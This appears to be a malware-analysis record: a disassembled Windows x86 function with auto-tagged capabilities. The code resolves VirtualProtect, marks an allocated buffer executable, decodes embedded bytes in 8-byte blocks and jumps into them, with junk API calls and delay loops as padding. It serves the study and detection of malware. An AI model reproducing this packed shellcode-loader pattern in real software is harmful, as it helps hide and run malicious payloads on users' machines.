Function at 0x4016e4
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via windows callback function
Get common file path
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
mov eax, 0x41cbe9
call fcn.0041b884
mov eax, 0x1028
call fcn.004064f0
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x401716
inc esi
cmp esi, 0x67d12
jl 0x4016ff
cmp dword [0x282941c], 0x93
jne 0x4017b4
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
push ebx
lea eax, [ebp - 0x834]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], ebx
mov byte [ebp - 0x34], bl
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00401f31
push ebx
call fcn.00401f56
or dword [ebp - 4], 0xffffffff
add esp, 0xc
cmp dword [ebp - 0x20], 0x10
jb 0x4017b4
push dword [ebp - 0x34]
call fcn.00401f3c
pop ecx
mov eax, dword [0x43b54c]
add dword [0x282941c], 0x1134b
push str.kernel32.dll
mov dword [0x282a258], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x2828eac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x282941c]
mov dword [0x2828ea0], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x282941c]
mov dword [0x2828ea8], eax
push eax
call dword [0x2828ea0]
mov esi, 0x1692e
push ebx
call dword [sym.imp.USER32.dll_SetMessageExtraInfo]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x401813
mov eax, dword [0x282941c]
cmp eax, ebx
jbe 0x401882
mov eax, dword [0x282a258]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2828ea8]
mov byte [ecx + esi], al
mov eax, dword [0x282941c]
cmp eax, 0x490
jne 0x40187d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, dword [0x282941c]
inc esi
cmp esi, eax
jb 0x40182d
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x4018b7
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push 0x41e9e0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x282941c]
inc esi
cmp esi, 0x38681
jl 0x401884
mov ecx, dword [0x2828ea8]
shr eax, 3
cmp eax, ebx
jbe 0x4018dd
mov esi, ecx
mov edi, eax
push esi
call fcn.00401007
add esi, 8
dec edi
jne 0x4018d1
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x4018fe
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0x5e3d
mov eax, dword [ebp - 0x14]
add dword [0x2828ea8], eax
inc esi
cmp esi, 0x674bd
jl 0x4018df
push 0x7b
pop esi
cmp dword [0x282941c], 0x86
jne 0x40195e
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1034]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
dec esi
jne 0x40190a
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call dword [0x2828ea8]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret